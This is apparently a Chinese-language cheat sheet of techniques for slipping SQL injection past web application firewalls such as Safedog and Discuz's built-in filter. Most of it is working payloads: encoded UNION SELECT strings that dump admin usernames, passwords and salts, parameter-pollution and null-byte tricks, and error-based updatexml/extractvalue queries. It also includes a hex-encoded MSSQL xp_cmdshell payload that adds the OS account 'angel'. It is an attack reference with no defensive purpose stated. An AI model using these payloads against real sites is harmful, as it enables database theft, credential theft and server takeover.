WAF 绕过的各种方法总结

一、 各种编码绕过

1. URL 编码
   ?id=1 union select pass from admin limit 1
   ?id=1%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%70%61%73%73%20%66%72%6f%6d%20%61%64%6d%69%6e%20%6c%69%6d%69%74%20%31
2. Unicode 编码
   'e' => '%u0065', //这是他的 Unicode 编码
   ?id=1 union select pass from admin limit 1
   ?id=1 un%u0069on sel%u0065ct pass f%u0072om admin li%u006dit 1
3. 针对 disucz x 内置_do_query_safe()的绕过
   gid=1 and 1=2 union select 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user 拦截
   gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user 绕过 disucz x2.0
   gid=@``` union select @```,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user 绕过 disucz x2.5
   gid=``` or @'''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @``` 绕过
   disucz x2.5 二次修补
   这里我引入了```用来隐藏第一个@字符，并将第一个@```替换为@'''`，这样便可以替换掉第二个@
4. 绕过某 waf -by havij
   /*!30000union all select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 10,1),null,null,null,null*/--
   list.php?yw=bj&id=3&id=1 /*!30000union all select (select concat(0x27,uid,0x5e,username,0x5e,password,0x5e,email,0x5e,salt,0x27) from `gs_ucenter`.uc_members limit 0,1) ,null,null,null,null*/--
5. 某次笔记
   newsid=60+a%nd%201=(se%lect%20@@VERSION)--
   newsid=60+a%nd%201=(se%lect%20@@servername)--
   newsid=60+a%nd 1=(se%lect name f%rom mas%ter.dbo.sysd%atabases wh%ere dbid=1)--
   newsid=60+a%nd (se%lect t%o%p 1 name f%rom pedaohang.d%b%o.s%ys%obje%cts where xtype='U' a%nd name not in (se%lect top 1 name fr%om

gpbctv.dbo.sysobjects wh%ere xtype='U'))>0--

newsid=60+a%nd (se%lect t%o%p 1 col_name(object_id('Art_Admin'),1) f%rom sysobjects)>0--

newsid=60+a%nd (se%lect t%o%p 1 pass fr%om Art_Admin where pass not in (se%lect t%o%p 1 pass fr%om Art_Admin))>0--

IIS 下的 asp.dll 文件在对 asp 文件后参数串进行 url 解码时，会直接过滤掉 09-0d（09 是 tab 键,0d 是回车)、20（空格)、%(下两个字符有一个不是十六进制)字符。因此在网络层的防护，只要内置规则大于两个字符，就会被绕过。如内置规则为..可以使用.%.来绕过.

6. 绕过智创网站专业级防火墙

http://www.0dayhack.com/shownews.asp?id=%28-575%29UNION%20%28SELECT%201,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%28admin%29%29 拦截

http://www.0dayhack.com/shownews.asp?id=%28-575%29UNION%20%28SELECT%201,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%28admin%29%29 绕过

这里主要 SEL%E%CT 来代替 select,简单来说一下这个网络层 waf 对 SEL%E%CT 进行 url 解码后变成 SEL%E%CT 匹配 select 失败，而进入 asp.dll 对 SEL%E%CT 进行 url 解码却变成 select。IIS 下的 asp.dll 文件在对 asp 文件后参数串进行 url 解码时，会直接过滤掉 09-0d（09 是 tab 键,0d 是回车)、20（空格)、%(下两个字符有一个不是十六进制)字符。

小提示：早期的智创可以通过 cookie 来绕过。通过查看产品说明，发现它只过滤了 GET 和 POST 数据（也就是 QueryString，PostData)。

7. 早期安全狗的绕过

1)NULL 字节截断突破

安全狗本身对 xx.asp?id=69 and 1=1 和 xx.asp?id=69 and 1=2 这些是过滤的，可是对 xx.asp?0day5.com=%00.&xw_id=69%20 and 1=1 和 xx.asp?0day5.com=%00.&xw_id=69%20 and 1=2 却是正常，直接丢到工具就 OK 了。

//%00 相当于 NULL, null 字符截断吧，WAF 在 parse url 参数的时候被截断了

2)对编码绕过

使用 u%n%i%o%n+s%e%l%e%cT 很少成功，虽然绕过了

3) 利用复参 —参加成信比赛遇到的

http://www.0dayhack.com/pentration/4/yinmou.php?id=4

http://www.0dayhack.com/pentration/4/yinmou.php?id=1&id=1/**/And/**/1=2/**/Union/**/Select/**/1,concat%28database%28%29,0x3a,user%28%29,0x3a,version%28%29%29,3

或者写了个注入中转点，然后开了 sqlmap 的 randomcase 和 space2comment 插件跑的

4) 最新过狗，最近一直没压力的

把空格使用/**/来替换

and 使用 a%n%d 来替换

from 打乱，就是类似 f%u0072om

4)agent 代理

使用百度或者是谷歌的 agent 代理

google 蜘蛛：Googlebot 百度蜘蛛：Baiduspider

8. 数据库一些绕过 bypass

mysql:内联注释: select -> /*!select*/这样写法.

select?user,password?from?user?xxx?union?select(1),(2);

Mysql 中空格也可以用+或/**/号代替.

(切记 Mysql select->sele/**/ct 不能这样写法,很多文章说能这样写是错误的! MSSQL 松散性问题可以这样写,下面有介绍.)

9. GET 参数 SQL 注入%0A 换行污染绕过

绕过描述:

在 GET 请求时，将 URL 的 SQL 注入关键字用%0A 分隔，%0A 是换行符，在 mysql 中可以正常执行。

测试方法:

请求测试 url：http://www.0dayhack.com/1.php?id=1%20union%20select%201,2,3,4 被拦截

请求测试url:http://www.0dayhack.com/1.php?id=-9%0Aunion%0Aselect 1,2,3,4 绕过

MSSQL:

用 HEX 绕过，一般的 IDS 都无法检测出来:

0x730079007300610064006D0069006E00 =hex(sysadmin)

0x640062005F006F0077006E0065007200 =hex(db_owner)

例如先声明一个变量 a，然后把我们的指令赋值给 a，然后调用变量 a 最终执行我们输入的命令。变量 a 可以是任何命令。如下：

declare @a sysnameselect @a=exec master.dbo.xp_cmdshell @a

http://www.www.0dayhack.com/xxx.asp?id=1;declare%20@a%20sysname%20select @a=0x6e006500740020007500730065007200200061006e00670065006c0020007000610073 00730020002f00610064006400 exec master.dbo.xp_cmdshell @a;--

0x6e006500740020007500730065007200200061006e00670065006c0020007000610073007 30020002f00610064006400 就是"net user angel pass /add"的意思。

这里是 sql 编码

在前面通过空格绕过也介绍了 mssql 是松散性,大家可以回头看看.

运用注释语句绕过

用/**/代替空格，如：UNION /**/ Select /**/user,pwd,from tbluser

用/**/分割敏感词，如：U/**/NION/**/SE/**/LECT/**/user,pwd from tbluser

Access:

用(),[]其中,"[]"用于表和列,"()"用于数值也可以做分隔.

http://www.0dayhack.com/shownews.asp?id=%28-575%29UNION%20SE%LECT%201,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17,18%20from[admin]

admin 用[]起来 哈哈,前面的 SE%LECT 前面编码介绍过了.

http://www.0dayhack.com/shownews.asp?id=%28-575%29UNION%20SE%LECT%201,[username],3,4,[passwd],6,7,8,9,10,11,12,13,14,15,16,17,18%20from[admin]

username passwd 也来[]哈哈.

之前提到的:

http://www.0dayhack.com/shownews.asp?id=%28-

575%29UNION%20%28SE%LECT%201,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20%28admin%29%29
admin 表用() (SELECT ……..) 双重括号.
() 和[]组合例子举这么多了,大家可以多多测试灵活利用.
http://www.0dayhack.com/shownews.asp?id=575and%201=2
http://www.0dayhack.com/shownews.asp?id=575and%201=1
哈哈,大家找到亮点没? 没错 Access 也有空格松散性~~~~
575and 1=2
575and 1=1

二、 复参数绕过

?id=1 union select 1&id=pass from admin
上文提到了:
http://www.0dayhack.com/shownews.asp?id=%28-575%29UNION%20%28SELECT%201,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%28admin%29%29
此链接会被拦截..
用此下链接:
http://www.0dayhack.com/shownews.asp?id=%28-575%29UNION%20%28SELECT%201,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17&id=18%20from%28admin%29%29
两个链接对比:
第二个链接比第一个链接多了:&id=
第二个链接比第一个链接少了:,
我用参数覆盖的形式绕过了 WAF, asp 的参数复用&id=xx -> 变为, xx 这是个 asp 一个 BUG, 也是个绕过的技巧.
Php 也可以变量覆盖绕过类型,不同于 asp:
http://www.0dayhack.com/test.php?id=0 写成:
http://www.0dayhack.com/test.php?id=0&id=7 and 1=2 //&id=0 ->变为&id=7 and 1=2
并没有像 asp 那样有,的出现!
id 参数重复变量的绕过, 重复变量的变体。
此方法依实际情况而定，部分 WAF 允许变量覆盖，也就是相同的变量赋了不同的值，覆盖了 waf 的 cache。但是后端程序会优先处理最先前的值。

三、 异常 Method 绕过

Seay /1.php?id=1 and 1=1 HTTP/1.1
Host: www.www.0dayhack.com
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
4.异常 Method 绕过
5.编码方式绕过(urlencoded/from-data)
6.超大数据包绕过
7.数据包分块传输绕过
一、数据库特殊语法绕过
1.mysql .符号和~符号和!符号以及+和-号连接?id=1.union%0aselect@1,2 ,!3,4
二、关键字拆分绕过
www.0dayhack.com/1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell "net user"')
三、请求方式差异规则松懈性绕过
GET /id=1 union select 1,2,3,4 —拦截
POST id=1 union select 1,2,3,4 —绕过
waf 业务限制，POST 规则相对松懈

四、 冷门函数/标签绕过

1. /1.php?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
2. /1.php?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

五、 WAF 规则策略阶段的绕过总结

1.字母大小写转换
2.数据库特殊语法绕过
3.关键字拆分绕过
4.请求方式差异规则松懈性绕过
5.多 URL 伪静态绕过
6.白字符绕过
7.冷门函数/标签绕过